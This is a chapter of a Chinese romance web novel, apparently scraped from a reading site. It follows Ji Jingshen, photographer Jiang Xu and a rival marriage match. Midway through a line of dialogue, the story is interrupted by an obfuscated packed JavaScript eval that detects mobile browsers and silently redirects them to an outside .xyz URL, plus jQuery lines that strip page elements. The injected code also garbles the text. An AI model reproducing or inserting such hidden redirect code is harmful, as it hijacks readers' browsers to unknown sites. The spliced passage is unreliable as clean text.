张彦回过了神,赶忙道:“就是今天来拍摄的姜小姐等了太久,来问问我们后续的安排。”
今天的拍摄?
季惊深顿了顿:“秦知瑶现在在哪?”
张彦:“应,应该快要结束饭局,估摸着八点能到。”
“一点的拍摄拖到八点?怎么,今晚是打算在这里熬个通宵?”
季惊深的声音依旧是平缓得没有起伏,可张彦却听出了几分怒意。他磕绊了一下,找补道:“秦知瑶那边是有临时工作,所以才……”
“让姜许他们不用等了。”季惊深打断他的话,回忆起刚才断断续续听到的几个字。
强忍怒气。
没把这里砸了,想来是看在季家的面子上。
他看了眼电脑上的时间,道:“小南楼那边,给他们定个位置。如果吃得太晚,跟那边打个招呼,给女生派辆车。”
张彦:“好的季总。”顿了顿,又问:“那后续的拍摄还要再约时间吗?我担心姜小姐那边……”
“担心什么?”季惊深端起咖啡抿了一口,过分白皙的手背隐隐看到线条流畅的青筋:“觉得她脾气不好?”
张彦刚想要下意识地点头,冷不丁地对上季惊深漆黑幽深的眸子,他点头的动作生生顿住。
猛地摇头,张彦回道:“没,没有,姜小姐挺好说话的。”
这话倒也不假。
姜许不难相处,只是干他们这一行的,总得捧着外头那些光鲜亮丽的明星。而姜许不一样,她不捧也不惯着,只关心自己的工作和团队里的人,所以总会显得有几分强势。
“合作下次再约,她要是不愿意也不强求。”
毕竟是他们失约在先,平白让她憋了一肚子的火。
一个电话打了进来,季惊深抬眼示意张彦出去后,这才接起。
方厌:“出来放松一下?有大八卦,你的。”
——
计时等待的第十九分钟,姜许如愿地看到了匆匆赶来的张彦。
“姜小姐,今天就不拍了。我们季总给你们定了小南楼的包厢,算是赔罪。”
姜许回头看何月他们:“我就不吃了,你们去吧。”
何月点了点头,三人兴致冲冲地往门口走去。等姜许把车从地下车库开出来后,才想起没拿的风衣外套,和门卫打了招呼,下车折返回去。
恰好听到秦知瑶的经纪人在里面发火。
“什么意思?我们瑶瑶火急火燎赶回来,他们走了?”
“不就是等了几个小时吗,他们到底知不知道多少人求着想给我们家瑶瑶拍摄?”
“是五个小时零二十五分钟。”姜许淡淡地开口打断,嘴角轻扬,眼底却无半分笑意:“还有,同意我们离开是季总的意思,不满的话,找你们季总发火。”
“你……”
姜许微微弯腰,拿过自己的风衣外套,头也不回地离开。
里头恢复了短暂沉默后,秦知瑶忽而开口了:“赵姐,刚才那个是姜许吗?”
赵姐脸色不好:“是她,就是我和你说的那位关系户。”
秦知瑶歪头一副单纯的样子:“哇,就是她呀。听说她性格很特别,赵姐,我,我今天不应该陪导演吃饭的,早知道我就……”
“闭嘴,她不就是仗着自己堂哥才这么嚣张的吗?瑶瑶,你听我的,你一定要争气,把这些看不起你的人踩在脚底下!”赵姐冷声道。
秦知瑶乖乖点头,又苦恼地抿唇。
可她没觉得姜许看不起她啊,明明是她先迟到的……
夜幕渐深,季惊深到达伍楼时,方厌已经在里面等着了。
他极少来这种地方,台上的乐队还没开唱,周围忙忙碌碌的,挂着不少的欢迎回归的牌子。
季惊深脱下外套坐下,随口问了一句:“重新装修?”
“没啊。”卡座里的方厌轻笑了一声,把玩着手中的打火机:“新兴的陈家记得吧?他们家有个特能闹腾的混小子。这不,准备要回来了,让我这提前半个月开始准备。”
指了指不远处的服务员,方厌笑骂一声:“从沙发罩的颜色,这服务员的颜值,那位大少爷都得过目。不知道的还以为是哪朝的皇帝微服私访。”
季惊深挑了挑眉,端起面前的一杯酒。
“诶,你不能喝……”方厌刚想要阻止,对上男人平静无痕的黑眸,他轻咳一声,转移了话题:“这陈少爷回来闹那么大动静,估摸着也是为了后面联姻做准备。”
季惊深抬眸:“和哪家的千金?”
方厌:“民江的姜家小姐,听闻两人青梅竹马,姜家也有这个意向,这两天往陈家跑了好几趟。”
季惊深静默,喉结微微滚动着,饮下了一整杯酒。
“不过话说回来……季家也给你找联姻对象了?”方厌笑问了一句:“没拒绝?”
季惊深看他一眼,语气极淡:“哪来的消息?”
“你弟,季惊扬呗。”方厌拿出手机,一边翻着一边笑道:“这不前几天他和朋友来这里玩,喝多了聊起你。有人说你这长相除非是天仙才配得上,那小子不服,说有个姑娘比天仙还好看,还有图有真相的。”
“你可从不和女生合照,这不是你未来对象还能是谁?”他将照片递过去,神色八卦:“请问季大少爷,这位赛过天仙的姑娘,是哪家的?”
季惊深的视线定格在那张照片上,几秒后,缓缓道:“姜家。”
方厌:“哪个姜家?”
季惊深:“民江的姜家。”
方厌震惊,酒杯都差点拿不稳:“不是,你和陈家那小子撞联姻对象了?”
“咔哒。”酒杯搁置在桌面的轻碰声,季惊深收回视线:“你觉得呢?”
方厌笑得十分地不怀好意:“我觉得是误会。还有,我提个醒。这天仙我虽然没见过,但是多少了解点。没有外头传言的那么不堪,人是还不错的。”
“但她啊,对待感情,不会是从一而终。和我一样,大多数是新鲜感上头。你两,感情观不一样。”
说得随意,他的目光却锁在了季惊深身上。
男人似乎并无太大的兴趣,低垂的眉眼看不出太大情绪。他的肤色过于白皙,在各色灯光下倒是看不太出。衬衫包裹下的精瘦身躯靠在沙发上,手中握着的酒杯刚刚倒了大半杯的酒,伴随着他的动作,荡起很浅的涟漪。
“记下了。”季惊深说。
方厌不由得松了一口气,嘴角挂着吊儿郎当的笑,又拉着季惊深絮絮叨叨吐槽了一堆事。
“大少爷,已经是第二杯了。”
阴影之中,有保镖上前,低着头不敢直视季惊深:“老爷子说了,您的身体,不适合在酒吧过多……”
“下去。”温和而又极具压迫感的声线。
话音落下的瞬间,季澜之的电话打到了季惊深手机上。
酒意卷着燥意驱使着季惊深没心情应付,冷眼旁观着电话响到最后一声,才缓慢地直起身体:“方厌,照片的事……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871169|176207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
方厌:“放心,早就处理好了,你弟手机里的都被我删了。”
“嗯。”季惊深应下,又道:“发我一份。”
“……啊?”
夜深。
季惊深回到云溪别院时,已经接近凌晨。
指纹解锁,门打开的瞬间,安静的客厅开着一盏分外亮堂的吊顶灯。不请自来的季澜之闭眼在沙发上养着神,听到声音后,拧起眉道:
“怎么去酒吧了?这么晚回来也就算了,还喝了酒?惊深,你的身体这些年是养得不错,可你底子终究是比别人差。家里长辈都担心你,以后……”
“以后我身边的那些人,都撤了吧。”
季惊深语气淡淡,他缓慢地将外套脱下,松了松领带,眉头稍稍舒展。
季澜之皱眉,语气忍不住加重几分:“都是为你好,要是你出点什么事,你让我和你爷爷怎么办?惊深,我们只是关心你。”
熟悉的话语不厌其烦地敲打着他,季惊深慢条斯理地温了水,泡好一壶茶,嗓音低沉:“爸,我没在和您商量。如果季家需要一个只用乖乖听话的傀儡,或许现在领养一个作为培养人,还来得及。”
季澜之一噎,心里又气又急。想到这些年季家做的那些出格事,轻叹一口气:“说的什么话,什么傀儡,你爷爷和我,只是……希望你好好的。”
季惊深不语。
“行行行。”季澜之退了一步:“你的事我们尽量不过问,只不过惊深,家里有些规矩,是万万不能破的。”
客厅恢复了安静。
季惊深握着微冷的茶水,目光定格几秒,最终还是缓缓放下。
季澜之的暗示,他听得很明确。
这些年哪怕不在国内,他的一举一动也有人向老爷子和季澜之汇报。国外的生意不少,对外他是在养病,实则早就开始上手接触。工作,调养。这两件事贯穿了他在国外的十年,索然无味到激不起任何波澜。
回国之后,依旧是和之前并无差别。唯一不同的就是,那一晚,出于方便,和民江的姜小姐一同回来。只是这么小的一件事,老爷子和他的父亲就如临大敌,将姜许调查了个清清楚楚。
这事虽没有摆在明面,可消息也并没有故意压下去。不直白也不藏着,旁敲侧击地表明了他们的态度。
规矩,不能破。
季家要的太太,历任都是温婉大方,知书达理的。尤其是,门当户对。
手机震动着,季惊深移了几分视线看过去。
是方厌发来的:【到家了?】
季惊深回了个“嗯”,视线上挑,却又看到半小时前,方厌发来的照片。
夜幕落下,落下的光是身后的路灯。坐在他身侧的姜许,眼里还带着几分怔怔然,巴掌大的小脸五官分外精致。
惹眼,张扬。
两个多月前的机场,他时隔十年再回到北安。一众陌生的面孔之中,他独独看到了姜许。
长发高高盘起,分外明艳的精致面容和暗红色的风衣相得益彰。
这红色配她,很合适。
国际机场的人并不算多,她就站在那辆银色的宾利面前,里面传来一道男人的怒吼声:“姜许!”
十五六岁失去双亲,独自在吃人的伯父伯母身边长大的那位姜小姐。
她微微前倾了身体:“姜延河你算个什么东西啊,小三生出来的玩意也配让我喊你哥?”
“……”
这脾气配她,也很合适。